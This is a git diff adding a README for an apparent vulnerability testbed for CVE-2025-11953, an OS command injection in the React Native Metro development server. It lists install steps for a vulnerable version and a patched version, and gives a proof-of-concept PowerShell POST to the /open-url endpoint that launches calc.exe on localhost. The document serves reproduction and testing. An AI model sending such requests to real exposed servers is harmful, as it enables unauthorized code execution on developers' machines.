diff --git a/react-native/CVE-2025-11953/README.md b/react-native/CVE-2025-11953/README.md new file mode 100644 index 00000000..adbfb541 --- /dev/null +++ b/react-native/CVE-2025-11953/README.md @@ -0,0 +1,44 @@ +# CVE-2025-11953 + +The Metro Development Server, which is opened by the React Native Community CLI, binds to external interfaces by default. The server exposes an endpoint that is vulnerable to OS command injection. This allows unauthenticated network attackers to send a POST request to the server and run arbitrary executables. On Windows, the attackers can also execute arbitrary shell commands with fully controlled arguments. + +## Deployment + +For this vulnerability to be exploited, the testbed must be deployed on Windows. Below are the steps required to prepare both the vulnerable and the safe versions: + +Set up Node.js and npm beforehand: + +As a reference, the issue was reproduced on `npm v11.6.3` and `node v24.11.1`, though these versions are not strict requirements for reproducing the vulnerability. + +### Vulnerable version + +```sh +npx @react-native-community/cli@19.1.1 init cve_2025_11953_vulnerable +cd cve_2025_11953_vulnerable +npm install @react-native-community/cli@19.1.1 +npm install open@6.2.0 +npm list open +npx @react-native-community/cli@19.1.1 start +``` + +### Safe version + +```sh +npx @react-native-community/cli@20.0.0 init cve_2025_11953_fixed +cd cve_2025_11953_fixed +npx @react-native-community/cli@20.0.0 start +``` + +## Testing the vulnerability + +Run the following PowerShell command to validate the vulnerability. On vulnerable instances, this will result in a `calc.exe` process being spawned. + +```powershell +Invoke-WebRequest -Uri http://localhost:8081/open-url -Method POST -ContentType "application/json" -Body '{"url":"calc.exe"}' +``` + +## References + +- +- +-